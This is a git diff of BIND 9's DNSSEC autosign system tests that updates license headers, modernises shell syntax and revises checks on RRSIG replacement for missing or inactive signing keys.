diff --git a/bin/tests/system/autosign/ns3/secure.example.db.in b/bin/tests/system/autosign/ns3/secure.example.db.in
index a3abaefac9..9855ec00b5 100644
--- a/bin/tests/system/autosign/ns3/secure.example.db.in
+++ b/bin/tests/system/autosign/ns3/secure.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/autosign/ns3/secure.nsec3.example.db.in b/bin/tests/system/autosign/ns3/secure.nsec3.example.db.in
index 3f10748395..15fe621fd0 100644
--- a/bin/tests/system/autosign/ns3/secure.nsec3.example.db.in
+++ b/bin/tests/system/autosign/ns3/secure.nsec3.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/autosign/ns3/secure.optout.example.db.in b/bin/tests/system/autosign/ns3/secure.optout.example.db.in
index 3f10748395..15fe621fd0 100644
--- a/bin/tests/system/autosign/ns3/secure.optout.example.db.in
+++ b/bin/tests/system/autosign/ns3/secure.optout.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/autosign/ns3/sync.example.db.in b/bin/tests/system/autosign/ns3/sync.example.db.in
index c3dbada717..c6c7f88ea5 100644
--- a/bin/tests/system/autosign/ns3/sync.example.db.in
+++ b/bin/tests/system/autosign/ns3/sync.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/autosign/ns3/ttl1.example.db.in b/bin/tests/system/autosign/ns3/ttl1.example.db.in
index cbfb691d08..0b11a00b00 100644
--- a/bin/tests/system/autosign/ns3/ttl1.example.db.in
+++ b/bin/tests/system/autosign/ns3/ttl1.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/autosign/ns3/ttl2.example.db.in b/bin/tests/system/autosign/ns3/ttl2.example.db.in
index cbfb691d08..0b11a00b00 100644
--- a/bin/tests/system/autosign/ns3/ttl2.example.db.in
+++ b/bin/tests/system/autosign/ns3/ttl2.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/autosign/ns3/ttl3.example.db.in b/bin/tests/system/autosign/ns3/ttl3.example.db.in
index cbfb691d08..0b11a00b00 100644
--- a/bin/tests/system/autosign/ns3/ttl3.example.db.in
+++ b/bin/tests/system/autosign/ns3/ttl3.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/autosign/ns3/ttl4.example.db.in b/bin/tests/system/autosign/ns3/ttl4.example.db.in
index cbfb691d08..0b11a00b00 100644
--- a/bin/tests/system/autosign/ns3/ttl4.example.db.in
+++ b/bin/tests/system/autosign/ns3/ttl4.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/autosign/ns4/named.conf.in b/bin/tests/system/autosign/ns4/named.conf.in
index de98ac28f6..b46ce91cf0 100644
--- a/bin/tests/system/autosign/ns4/named.conf.in
+++ b/bin/tests/system/autosign/ns4/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/autosign/ns5/named.conf.in b/bin/tests/system/autosign/ns5/named.conf.in
index a271401c4e..710dfa8cd6 100644
--- a/bin/tests/system/autosign/ns5/named.conf.in
+++ b/bin/tests/system/autosign/ns5/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/autosign/setup.sh b/bin/tests/system/autosign/setup.sh
index 150d98d49c..e029fdf8aa 100644
--- a/bin/tests/system/autosign/setup.sh
+++ b/bin/tests/system/autosign/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/autosign/tests.sh b/bin/tests/system/autosign/tests.sh
index c7bab90f1e..28045bc5c4 100755
--- a/bin/tests/system/autosign/tests.sh
+++ b/bin/tests/system/autosign/tests.sh
@@ -1,14 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 status=0
@@ -18,9 +22,13 @@ DIGOPTS="+tcp +noadd +nosea +nostat +nocmd +dnssec -p ${PORT}"
 RNDCCMD="$RNDC -c ../common/rndc.conf -p ${CONTROLPORT} -s"
 
 # convert private-type records to readable form
+# $1 is the zone
+# $2 is the server
+# $3 is ignored
+# $4 is the alternate type
 showprivate () {
     echo "-- $@ --"
-    $DIG $DIGOPTS +nodnssec +short @$2 -t type65534 $1 | cut -f3 -d' ' |
+    $DIG $DIGOPTS +nodnssec +short @$2 -t ${4:-type65534} $1 | cut -f3 -d' ' |
         while read record; do
             $PERL -e 'my $rdata = pack("H*", @ARGV[0]);
                 die "invalid record" unless length($rdata) == 5;
@@ -34,11 +42,15 @@ showprivate () {
 }
 
 # check that signing records are marked as complete
+# if $3 is 1 then we are expecting "(incomplete)"
+# if $3 is 2 then we are not expecting either "(complete)" or "(incomplete)"
+# if $4 is present then that specifies any alternate type to check
 checkprivate () {
     _ret=0
     expected="${3:-0}"
-    x=`showprivate "$@"`
-    echo $x | grep incomplete > /dev/null && _ret=1
+    x=$(showprivate "$@")
+    echo $x | grep "(complete)" > /dev/null || _ret=2
+    echo $x | grep "(incomplete)" > /dev/null && _ret=1
 
     if [ $_ret = $expected ]; then
         return 0
@@ -79,7 +91,7 @@ checkjitter () {
 
 	_count=0
 	# Check if we have at least 4 days
-	# This number has been tuned for `sig-validity-interval 10 2`, as
+	# This number has been tuned for `signatures-validity 10d; signatures-refresh 2d`, as
 	# 1 signature expiration dates should be spread out across at most 8 (10-2) days
 	# 2. we remove first and last day to remove frequency outlier, we are left with 6 (8-2) days
 	# 3. we subtract two more days to allow test pass on day boundaries, etc. leaving us with 4 (6-2)
@@ -143,32 +155,31 @@ do
 	#
 	# Wait for the root DNSKEY RRset to be fully signed.
 	#
-	$DIG $DIGOPTS . @10.53.0.1 dnskey > dig.out.ns1.test$n || ret=1
-	grep "ANSWER: 10," dig.out.ns1.test$n > /dev/null || ret=1
+	$DIG $DIGOPTS . @10.53.0.1 dnskey > dig.out.ns1.test$n.dnskey || ret=1
+	grep "ANSWER: 11," dig.out.ns1.test$n.dnskey > /dev/null || ret=1
 	for z in .
 	do
-		$DIG $DIGOPTS $z @10.53.0.1 nsec > dig.out.ns1.test$n || ret=1
-		grep "NS SOA" dig.out.ns1.test$n > /dev/null || ret=1
+		$DIG $DIGOPTS $z @10.53.0.1 nsec > dig.out.ns1.test$n.nsec || ret=1
+		grep "NS SOA" dig.out.ns1.test$n.nsec > /dev/null || ret=1
 	done
-	for z in bar. example. private.secure.example.
+	for z in bar. example. # skip NSEC3 signed zones
 	do
-		$DIG $DIGOPTS $z @10.53.0.2 nsec > dig.out.ns2.test$n || ret=1
-		grep "NS SOA" dig.out.ns2.test$n > /dev/null || ret=1
+		$DIG $DIGOPTS $z @10.53.0.2 nsec > dig.out.ns2.test$n.$z || ret=1
+		grep "NS SOA" dig.out.ns2.test$n.$z > /dev/null || ret=1
 	done
-	for z in bar. example. inacksk2.example. inacksk3.example \
-		 inaczsk2.example. inaczsk3.example
+	for z in bar. example. inaczsk2.example. noksk.example nozsk.example
 	do
-		$DIG $DIGOPTS $z @10.53.0.3 nsec > dig.out.ns3.test$n || ret=1
-		grep "NS SOA" dig.out.ns3.test$n > /dev/null || ret=1
+		$DIG $DIGOPTS $z @10.53.0.3 nsec > dig.out.ns3.test$n.$z || ret=1
+		grep "NS SOA" dig.out.ns3.test$n.$z > /dev/null || ret=1
 	done
-	i=`expr $i + 1`
+	i=$((i + 1))
 	if [ $ret = 0 ]; then break; fi
 	echo_i "waiting ... ($i)"
 	sleep 2
 done
-n=`expr $n + 1`
-if [ $ret != 0 ]; then echo_i "done"; fi
-status=`expr $status + $ret`
+n=$((n + 1))
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
 
 echo_i "Initial counts of RRSIG expiry fields values for auto signed zones"
 for z in .
@@ -181,7 +192,7 @@ do
 	echo_i zone $z
 	$DIG $DIGOPTS $z @10.53.0.2 axfr | awk '$4 == "RRSIG" {print $9}' | sort | uniq -c | cat_i
 done
-for z in inacksk2.example. inacksk3.example inaczsk2.example. inaczsk3.example
+for z in inaczsk2.example.
 do
 	echo_i zone $z
 	$DIG $DIGOPTS $z @10.53.0.3 axfr | awk '$4 == "RRSIG" {print $9}' | sort | uniq -c | cat_i
@@ -190,161 +201,9 @@ done
 # Set logfile offset for wait_for_log usage.
 nextpartreset ns3/named.run
 
-#
-# Check that DNSKEY is initially signed with a KSK and not a ZSK.
-#
-echo_i "check that zone with active and inactive KSK and active ZSK is properly"
-echo_ic "resigned after the active KSK is deleted - stage 1: Verify that DNSKEY"
-echo_ic "is initially signed with a KSK and not a ZSK. ($n)"
-ret=0
-
-$DIG $DIGOPTS @10.53.0.3 axfr inacksk3.example > dig.out.ns3.test$n
-
-zskid=`awk '$4 == "DNSKEY" && $5 == 256 { print }' dig.out.ns3.test$n |
-       $DSFROMKEY -A -2 -f - inacksk3.example | awk '{ print $4}'`
-grep "DNSKEY 7 2 " dig.out.ns3.test$n > /dev/null || ret=1
-
-pattern="DNSKEY 7 2 [0-9]* [0-9]* [0-9]* ${zskid} "
-grep "${pattern}" dig.out.ns3.test$n > /dev/null && ret=1
-
-count=`awk 'BEGIN { count = 0 }
-	    $4 == "RRSIG" && $5 == "DNSKEY" { count++ }
-	    END {print count}' dig.out.ns3.test$n`
-test $count -eq 1 || ret=1
-
-count=`awk 'BEGIN { count = 0 }
-       $4 == "DNSKEY" { count++ }
-       END {print count}' dig.out.ns3.test$n`
-test $count -eq 3 || ret=1
-
-awk='$4 == "RRSIG" && $5 == "DNSKEY" { printf "%05u\n", $11 }'
-id=`awk "${awk}" dig.out.ns3.test$n`
-
-$SETTIME -D now+5 ns3/Kinacksk3.example.+007+${id} > settime.out.test$n || ret=1
-($RNDCCMD 10.53.0.3 loadkeys inacksk3.example 2>&1 | sed 's/^/ns3 /' | cat_i) || ret=1
-
-n=`expr $n + 1`
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-
-#
-# Check that zone is initially signed with a ZSK and not a KSK.
-#
-echo_i "check that zone with active and inactive ZSK and active KSK is properly"
-echo_ic "resigned after the active ZSK is deleted - stage 1: Verify that zone"
-echo_ic "is initially signed with a ZSK and not a KSK. ($n)"
-ret=0
-$DIG $DIGOPTS @10.53.0.3 axfr inaczsk3.example > dig.out.ns3.test$n
-kskid=`awk '$4 == "DNSKEY" && $5 == 257 { print }' dig.out.ns3.test$n |
-       $DSFROMKEY -2 -f - inaczsk3.example | awk '{ print $4}' `
-grep "CNAME 7 3 " dig.out.ns3.test$n > /dev/null || ret=1
-grep "CNAME 7 3 [0-9]* [0-9]* [0-9]* ${kskid} " dig.out.ns3.test$n > /dev/null && ret=1
-count=`awk 'BEGIN { count = 0 }
-	    $4 == "RRSIG" && $5 == "CNAME" { count++ }
-	    END {print count}' dig.out.ns3.test$n`
-test $count -eq 1 || ret=1
-count=`awk 'BEGIN { count = 0 }
-       $4 == "DNSKEY" { count++ }
-       END {print count}' dig.out.ns3.test$n`
-test $count -eq 3 || ret=1
-id=`awk '$4 == "RRSIG" && $5 == "CNAME" { printf "%05u\n", $11 }' dig.out.ns3.test$n`
-$SETTIME -D now+5 ns3/Kinaczsk3.example.+007+${id} > settime.out.test$n || ret=1
-($RNDCCMD 10.53.0.3 loadkeys inaczsk3.example 2>&1 | sed 's/^/ns3 /' | cat_i) || ret=1
-n=`expr $n + 1`
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-
-echo_i "checking NSEC->NSEC3 conversion prerequisites ($n)"
-ret=0
-# these commands should result in an empty file:
-$DIG $DIGOPTS +noall +answer nsec3.example. nsec3param @10.53.0.3 > dig.out.ns3.1.test$n || ret=1
-grep "NSEC3PARAM" dig.out.ns3.1.test$n > /dev/null && ret=1
-$DIG $DIGOPTS +noall +answer autonsec3.example. nsec3param @10.53.0.3 > dig.out.ns3.2.test$n || ret=1
-grep "NSEC3PARAM" dig.out.ns3.2.test$n > /dev/null && ret=1
-n=`expr $n + 1`
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-
-echo_i "checking NSEC3->NSEC conversion prerequisites ($n)"
-ret=0
-$DIG $DIGOPTS +noall +answer nsec3-to-nsec.example. nsec3param @10.53.0.3 > dig.out.ns3.test$n || ret=1
-grep "NSEC3PARAM" dig.out.ns3.test$n > /dev/null || ret=1
-n=`expr $n + 1`
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-
-echo_i "converting zones from nsec to nsec3"
-$NSUPDATE > /dev/null 2>&1 <<END	|| status=1
-server 10.53.0.3 ${PORT}
-zone nsec3.nsec3.example.
-update add nsec3.nsec3.example. 3600 NSEC3PARAM 1 0 10 BEEF
-send
-zone optout.nsec3.example.
-update add optout.nsec3.example. 3600 NSEC3PARAM 1 1 10 BEEF
-send
-zone nsec3.example.
-update add nsec3.example. 3600 NSEC3PARAM 1 0 10 BEEF
-send
-zone autonsec3.example.
-update add autonsec3.example. 3600 NSEC3PARAM 1 0 20 DEAF
-send
-zone nsec3.optout.example.
-update add nsec3.optout.example. 3600 NSEC3PARAM 1 0 10 BEEF
-send
-zone optout.optout.example.
-update add optout.optout.example. 3600 NSEC3PARAM 1 1 10 BEEF
-send
-zone optout.example.
-update add optout.example. 3600 NSEC3PARAM 1 1 10 BEEF
-send
-END
-
-# try to convert nsec.example; this should fail due to non-NSEC key
-echo_i "preset nsec3param in unsigned zone via nsupdate ($n)"
-$NSUPDATE > nsupdate.out 2>&1 <<END
-server 10.53.0.3 ${PORT}
-zone nsec.example.
-update add nsec.example. 3600 NSEC3PARAM 1 0 10 BEEF
-send
-END
-
-echo_i "checking for nsec3param in unsigned zone ($n)"
-ret=0
-$DIG $DIGOPTS +noall +answer autonsec3.example. nsec3param @10.53.0.3 > dig.out.ns3.test$n || ret=1
-grep "NSEC3PARAM" dig.out.ns3.test$n > /dev/null && ret=1
-n=`expr $n + 1`
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-
-echo_i "checking for nsec3param signing record ($n)"
-ret=0
-$RNDCCMD 10.53.0.3 signing -list autonsec3.example. > signing.out.test$n 2>&1
-grep "Pending NSEC3 chain 1 0 20 DEAF" signing.out.test$n > /dev/null || ret=1
-n=`expr $n + 1`
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-
-echo_i "resetting nsec3param via rndc signing ($n)"
-ret=0
-$RNDCCMD 10.53.0.3 signing -clear all autonsec3.example. > /dev/null 2>&1
-$RNDCCMD 10.53.0.3 signing -nsec3param 1 1 10 beef autonsec3.example. > /dev/null 2>&1
-for i in 0 1 2 3 4 5 6 7 8 9; do
-	ret=0
-	$RNDCCMD 10.53.0.3 signing -list autonsec3.example. > signing.out.test$n 2>&1
-	grep "Pending NSEC3 chain 1 1 10 BEEF" signing.out.test$n > /dev/null || ret=1
-	num=`grep "Pending " signing.out.test$n | wc -l`
-	[ $num -eq 1 ] || ret=1
-	[ $ret -eq 0 ] && break
-	echo_i "waiting ... ($i)"
-	sleep 2
-done
-n=`expr $n + 1`
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-
 echo_i "signing preset nsec3 zone"
-zsk=`cat autozsk.key`
-ksk=`cat autoksk.key`
+zsk=$(cat autozsk.key)
+ksk=$(cat autoksk.key)
 $SETTIME -K ns3 -P now -A now $zsk > settime.out.test$n.zsk || ret=1
 $SETTIME -K ns3 -P now -A now $ksk > settime.out.test$n.ksk || ret=1
 ($RNDCCMD 10.53.0.3 loadkeys autonsec3.example. 2>&1 | sed 's/^/ns3 /' | cat_i) || ret=1
@@ -352,50 +211,54 @@ $SETTIME -K ns3 -P now -A now $ksk > settime.out.test$n.ksk || ret=1
 echo_i "waiting for changes to take effect"
 sleep 3
 
-echo_i "converting zone from nsec3 to nsec"
-$NSUPDATE > /dev/null 2>&1 << END	|| status=1
-server 10.53.0.3 ${PORT}
-zone nsec3-to-nsec.example.
-update delete nsec3-to-nsec.example. NSEC3PARAM
-send
-END
-
-echo_i "waiting for change to take effect"
-sleep 3
+missing=$(keyfile_to_key_id "$(cat noksk-ksk.key)")
+echo_i "checking that expired RRSIGs from missing KSK $missing are not deleted ($n)"
+ret=0
+$JOURNALPRINT ns3/noksk.example.db.jnl | \
+   awk '{if ($1 == "del" && $5 == "RRSIG" && $12 == id) {error=1}} END {exit error}' id=$missing || ret=1
+n=$((n + 1))
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
 
-echo_i "checking that expired RRSIGs from missing key are not deleted ($n)"
+missing=$(keyfile_to_key_id "$(cat nozsk-zsk.key)")
+ksk=$(keyfile_to_key_id "$(cat nozsk-ksk.key)")
+echo_i "checking that expired RRSIGs from missing ZSK $missing are replaced ($n)"
 ret=0
-missing=$(keyfile_to_key_id "$(cat missingzsk.key)")
 $JOURNALPRINT ns3/nozsk.example.db.jnl | \
-   awk '{if ($1 == "del" && $5 == "RRSIG" && $12 == id) {exit 1}} END {exit 0}' id=$missing || ret=1
-n=`expr $n + 1`
+   awk '{if ($1 == "del" && $5 == "RRSIG" && $12 == id) {ok=1}} END {exit ok?0:1}' id=$missing || ret=1
+$JOURNALPRINT ns3/nozsk.example.db.jnl | \
+   awk '{if ($1 == "add" && $5 == "RRSIG" && $12 == id) {ok=1}} END {exit ok?0:1}' id=$ksk || ret=1
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-echo_i "checking that expired RRSIGs from inactive key are not deleted ($n)"
+inactive=$(keyfile_to_key_id "$(cat inaczsk-zsk.key)")
+ksk=$(keyfile_to_key_id "$(cat inaczsk-ksk.key)")
+echo_i "checking that expired RRSIGs from inactive ZSK $inactive are replaced ($n)"
 ret=0
-inactive=$(keyfile_to_key_id "$(cat inactivezsk.key)")
 $JOURNALPRINT ns3/inaczsk.example.db.jnl | \
-   awk '{if ($1 == "del" && $5 == "RRSIG" && $12 == id) {exit 1}} END {exit 0}' id=$inactive || ret=1
-n=`expr $n + 1`
+   awk '{if ($1 == "del" && $5 == "RRSIG" && $12 == id) {ok=1}} END {exit ok?0:1}' id=$inactive || ret=1
+$JOURNALPRINT ns3/inaczsk.example.db.jnl | \
+   awk '{if ($1 == "add" && $5 == "RRSIG" && $12 == id) {ok=1}} END {exit ok?0:1}' id=$ksk || ret=1
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-echo_i "checking that non-replaceable RRSIGs are logged only once (missing private key) ($n)"
+echo_i "checking that replaced RRSIGs are not logged (missing ZSK private key) ($n)"
 ret=0
-loglines=`grep "Key nozsk.example/NSEC3RSASHA1/$missing .* retaining signatures" ns3/named.run | wc -l`
-[ "$loglines" -eq 1 ] || ret=1
-n=`expr $n + 1`
+loglines=$(grep "Key nozsk.example/$DEFAULT_ALGORITHM/$missing .* retaining signatures" ns3/named.run | wc -l)
+[ "$loglines" -eq 0 ] || ret=1
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-echo_i "checking that non-replaceable RRSIGs are logged only once (inactive private key) ($n)"
+echo_i "checking that replaced RRSIGs are not logged (inactive ZSK private key) ($n)"
 ret=0
-loglines=`grep "Key inaczsk.example/NSEC3RSASHA1/$inactive .* retaining signatures" ns3/named.run | wc -l`
-[ "$loglines" -eq 1 ] || ret=1
-n=`expr $n + 1`
+loglines=$(grep "Key inaczsk.example/$DEFAULT_ALGORITHM/$inactive .* retaining signatures" ns3/named.run | wc -l)
+[ "$loglines" -eq 0 ] || ret=1
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Send rndc sync command to ns1, ns2 and ns3, to force the dynamically
 # signed zones to be dumped to their zone files
@@ -420,18 +283,18 @@ $DIG $DIGOPTS +noauth a.oldsigs.example. @10.53.0.3 a > dig.out.ns3.test$n || re
 $DIG $DIGOPTS +noauth a.oldsigs.example. @10.53.0.4 a > dig.out.ns4.test$n || ret=1
 digcomp dig.out.ns3.test$n dig.out.ns4.test$n || ret=1
 grep "flags:.*ad.*QUERY" dig.out.ns4.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Check jitter distribution.
 echo_i "checking expired signatures were jittered correctly ($n)"
 ret=0
 $DIG $DIGOPTS axfr oldsigs.example @10.53.0.3 > dig.out.ns3.test$n || ret=1
 checkjitter dig.out.ns3.test$n || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking NSEC->NSEC3 conversion succeeded ($n)"
 ret=0
@@ -442,9 +305,9 @@ $DIG $DIGOPTS +noauth q.nsec3.example. @10.53.0.4 a > dig.out.ns4.test$n || ret=
 digcomp dig.out.ns3.test$n dig.out.ns4.test$n || ret=1
 grep "flags:.*ad.*QUERY" dig.out.ns4.test$n > /dev/null || ret=1
 grep "status: NXDOMAIN" dig.out.ns4.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking direct NSEC3 autosigning succeeded ($n)"
 ret=0
@@ -456,85 +319,45 @@ $DIG $DIGOPTS +noauth q.autonsec3.example. @10.53.0.4 a > dig.out.ns4.test$n ||
 digcomp dig.out.ns3.test$n dig.out.ns4.test$n || ret=1
 grep "flags:.*ad.*QUERY" dig.out.ns4.test$n > /dev/null || ret=1
 grep "status: NXDOMAIN" dig.out.ns4.test$n > /dev/null || ret=1
-n=`expr $n + 1`
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-
-echo_i "checking NSEC->NSEC3 conversion failed with NSEC-only key ($n)"
-ret=0
-grep "failed: REFUSED" nsupdate.out > /dev/null || ret=1
-n=`expr $n + 1`
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-
-echo_i "checking NSEC3->NSEC conversion succeeded ($n)"
-ret=0
-# this command should result in an empty file:
-$DIG $DIGOPTS +noall +answer nsec3-to-nsec.example. nsec3param @10.53.0.3 > dig.out.ns3.nx.test$n || ret=1
-grep "NSEC3PARAM" dig.out.ns3.nx.test$n > /dev/null && ret=1
-$DIG $DIGOPTS +noauth q.nsec3-to-nsec.example. @10.53.0.3 a > dig.out.ns3.test$n || ret=1
-$DIG $DIGOPTS +noauth q.nsec3-to-nsec.example. @10.53.0.4 a > dig.out.ns4.test$n || ret=1
-digcomp dig.out.ns3.test$n dig.out.ns4.test$n || ret=1
-grep "flags:.*ad.*QUERY" dig.out.ns4.test$n > /dev/null || ret=1
-grep "status: NXDOMAIN" dig.out.ns4.test$n > /dev/null || ret=1
-n=`expr $n + 1`
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-
-echo_i "checking NSEC3->NSEC conversion with 'rndc signing -nsec3param none' ($n)"
-ret=0
-$RNDCCMD 10.53.0.3 signing -nsec3param none autonsec3.example. > /dev/null 2>&1
-# this command should result in an empty file:
-no_nsec3param() (
- $DIG $DIGOPTS +noall +answer autonsec3.example. nsec3param @10.53.0.3 > dig.out.ns3.nx.test$n || return 1
- grep "NSEC3PARAM" dig.out.ns3.nx.test$n > /dev/null && return 1
- return 0
-)
-retry_quiet 10 no_nsec3param || ret=1
-$DIG $DIGOPTS +noauth q.autonsec3.example. @10.53.0.3 a > dig.out.ns3.test$n || ret=1
-$DIG $DIGOPTS +noauth q.autonsec3.example. @10.53.0.4 a > dig.out.ns4.test$n || ret=1
-digcomp dig.out.ns3.test$n dig.out.ns4.test$n || ret=1
-grep "flags:.*ad.*QUERY" dig.out.ns4.test$n > /dev/null || ret=1
-grep "status: NXDOMAIN" dig.out.ns4.test$n > /dev/null || ret=1
-n=`expr $n + 1`
